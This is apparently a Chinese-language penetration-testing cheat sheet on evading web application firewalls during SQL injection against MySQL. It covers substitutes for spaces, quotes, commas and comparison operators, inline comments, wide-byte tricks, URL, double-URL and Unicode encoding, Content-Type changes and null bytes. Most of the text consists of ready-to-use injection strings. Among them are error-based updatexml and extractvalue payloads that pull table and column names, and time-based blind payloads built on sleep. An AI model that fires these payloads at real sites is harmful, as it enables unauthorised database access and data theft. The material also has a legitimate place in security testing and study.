SQL注入Bypass
前言:
Android App安全测试先告一段落,虽然感觉还有很多需要学习的地方,毕竟我主要还是对Web方向感兴趣,又回到最初的起点!
-
空格绕过:
每种类型的数据库都允许使用空白字符。每个不同的RDBMS允许各种不同的空白字符,而不是通常的0x20。通过使用其他允许的空格字符切换标准空格,我们可以使某些防火墙无法识别注入,从而使我们能够有效地绕过它们
1、/**/、/*!*/、%09、%0a、%0b、%0c、%0d替代
id=-1'+/*!u%6eion*/+select+1,2,3%23
2、用注释符+换行符替代空格,比如:--%0a
3、用注释符+垃圾数据+换行符,比如:--zxczcasd/*asdasd*/%0a
id=1%27--%0aor--%0aupdatexml(1,concat(0x7e,(select--%0atable_name--%0afrom--%0ainformation_schema.tables--%0awhere--%0atable_schema=database()--%0alimit--%0a0,1),0x7e),1)%23
4、用托号绕过空格:
如果空格被过滤,括号没有被过滤,可以用括号绕过
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格
select(user())from dual where(1=1)and(2=2)
这种过滤方法常常用于time based盲注:
id=1'and(if(ascii(substr(database(),1,1))>97,sleep(5),1))%23
id=1'and(if(ascii(substr(database()from(1)for(1)))>97,sleep(5),1))%23
id=1'and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
# from a for b:
从第a个字符开始读取,共读取b个字符
-
引号绕过:
针对数字型注入,使用十六进制绕过或者宽字节绕过:
select column_name from information_schema.tables where table_name=0x7573657273
id=1'+and+extractvalue(0x31,0x636F6E63617428307837652C2873656C6563742067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F736368656D613D6461746162617365282920616E64207461626C655F6E616D653D27757365727327206C696D697420302C31292C3078376529)%23
id=-1%df%27 union select 1,user(),3--+
id=-1ý' union select 1,user(),3--+
id=-1%5c%5c%27 union select 1,user(),3--+ # 后面的 %5c 会被前面的 %5c 注释掉
一般产生宽字节注入的PHP函数:
1.replace():过滤 ' \ ,将 ' 转化为 ' ,将 \ 转为 \,将 " 转为 " 。用思路一
2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。
预定义字符:( ' , " , \ )用思路一(防御此漏洞,要将 mysql_query 设置为 binary 的方式)
3.mysql_real_escape_string()
-
逗号绕过:
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
使用join:
union select 1,2
#等价于
union select * from (select 1)a join (select 2)b
使用like:
select ascii(mid(user(),1,1))=114
#等价于
select user() like 'r%'
对于limit可以使用offset来绕过:
select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0
-
比较符绕过:
使用greatest()、least():(前者返回最大值,后者返回最小值)
# greatest(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最大值
id=1 and greatest(ascii(substr(database(),0,1)),64)=64
sqlmap中使用between的脚本进行绕过
# 包含边界值
select * from users where id between 1 and 10
-
and or xor not绕过:
and=&& or=|| xor=| not=!
id=1'+%26%26+'1'='1
-
注释符绕过:
主要是想办法闭合后面的引号,使sql语句能够正常执行
id=1' union select 1,2,3||'1
id=1' union select 1,2,'3
-
=号绕过:
<、>、<>绕过
id=!(id <> 1); # 相当于id=1
like绕过:
% : 匹配0个或任意多个字符
_ : 匹配任意一个字符
escape : 转义字符,可匹配%和_。如SELECT * FROM table_name WHERE column_name LIKE '/%/_%_' ESCAPE'/'
rlike和REGEXP
rlike:模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来
regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配
. : 匹配任意单个字符
* : 匹配0个或多个前一个得到的字符
[] : 匹配任意一个[]内的字符,[ab]*可匹配空串、a、b、或者由任意个a和b组成的字符串。
^ : 匹配开头,如^s匹配以s或者S开头的字符串。
$ : 匹配结尾,如s$匹配以s结尾的字符串。
{n} : 匹配前一个字符反复n次。
like是完全匹配。rlike和regexp是不完全匹配,只要不同时匹配^和 $, 其他的包含即可
between、strcmp绕过:
strcmp(str1,str2):若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1
select * from users where id between 1 and 1
id=1' and substr(database(),1,1) between 'a' and 'z'%23
select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117)
select strcmp(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)),117);
in 绕过:
id=1'+and+ascii(substr(database(),1,1))+in+('115')%23
-
绕过union,select,where:
双写绕过
大小写绕过
内联注释绕过:
id=0'+/*!union*//*!select*/+1,updatexml(1,concat(0x7e,(select+database())),1),3%23
-
通用绕过手段:
-
分块传输绕过:
-
协议未覆盖绕过:
针对POST请求,POST请求常用有2种参数提交方式:
Content-Type: application/x-www-form-urlencoded;
Content-Type: multipart/form-data;
Content-Type: text/plain
其中multipart/form-data表示数据被编码为一条消息,页上的每个控件对应消息中的一个部分
市场上大部分的WAF会解析这行 Content-Type 去识别是否是POST注入,因为要防止方法污染。所以我们就可以根据这个特性来设置不同的Content-Type利用尝试绕过WAF
绕过原理:
若Waf未能覆盖Content-Type: multipart/form-data从而导致被绕过。或者WAF会认为它是文件上传请求,从而只检测文件上传,导致被绕过
利用谷歌插件Request Maker进行测试:
原始请求:
修改Content-Type后,进行抓包:
如果发现可以成功绕过waf,直接将数据包丢进sqlmap跑即可:
争对Get请求同理,将Content-Type改成:application/x-www-form-urlencoded或者multipart/form-data
- HPP参数污染/垃圾字符绕过
- url编码绕过:
id=0' union select 1,updatexml(1,concat(0x7e,(select+database())),1),3#
# 将其进行url编码,等价于
id=%30%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%75%70%64%61%74%65%78%6d%6c%28%31%2c%63%6f%6e%63%61%74%28%30%78%37%65%2c%28%73%65%6c%65%63%74%2b%64%61%74%61%62%61%73%65%28%29%29%29%2c%31%29%2c%33%23
- 双重url编码:
对字符应用URL编码两次的过程。所需要的只是重新编码百分号。如果数据在通过防火墙之后和到达数据库之前被解码两次,则此编码成功
- ascll编码绕过:
id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=concat(char(117),char(115),char(101),char(114),char(115)) limit 0,1),0x7e))#
- unicode编码绕过:
UTF-8 编码表:https://www.utf8-chartable.de/
Unicode编码种类繁多,基于黑名单的过滤器存在无法处理的情况,从而实现绕过
# 常用的几个符号的一些Unicode编码:
单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、�'、�、�(%c0%27、%c0%a7%27、%e0%80%a7%27)
空格:%u0020、%uff00、� 、�、�(%c0%20、%c0%a0、%e0%80%a0)
左括号:%u0028、%uff08、�(、�、�(%c0%28、%c0%a8、%e0%80%a8)
右括号:%u0029、%uff09、�)、�、�(%c0%29、%c0%a9、%e0%80%a9)
id=1%u0027%u002b%u0061%u006e%u0064%u002b%u0031%u003d%u0031%u0023 #UTF-8
SELECT 'Ä'='A';
id=10%D6‘%20AND%2201=2%23
-
等价函数绕过:
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
其他绕过技巧及思路:
id=-1' union select 1,2,3# # 被拦截
id=-1%00' union select 1,2,3# # 不拦截,同时可以对其进行url编码
原理是waf把空字节认为是结束导致了后面的语句可以绕过
Tips:针对有爆出sql语句且过滤了空格的注入,可以先fuzz一波,看是否能找到一个会被替换为空的字符
更多方法及技巧请参考:
SQL注入 | 9种绕过Web应用程序防火墙的方式
参考如下:
SQL注入绕过技巧
sql注入绕过方法总结
SQL注入的优化和绕过
某系统Oracle+盲注Bypass
技术讨论 | 在HTTP协议层面绕过WAF
实战绕过双重waf结合sqlmap tamper获取数据
web渗透测试中WAF绕过讲解(二)基于HTTP协议绕过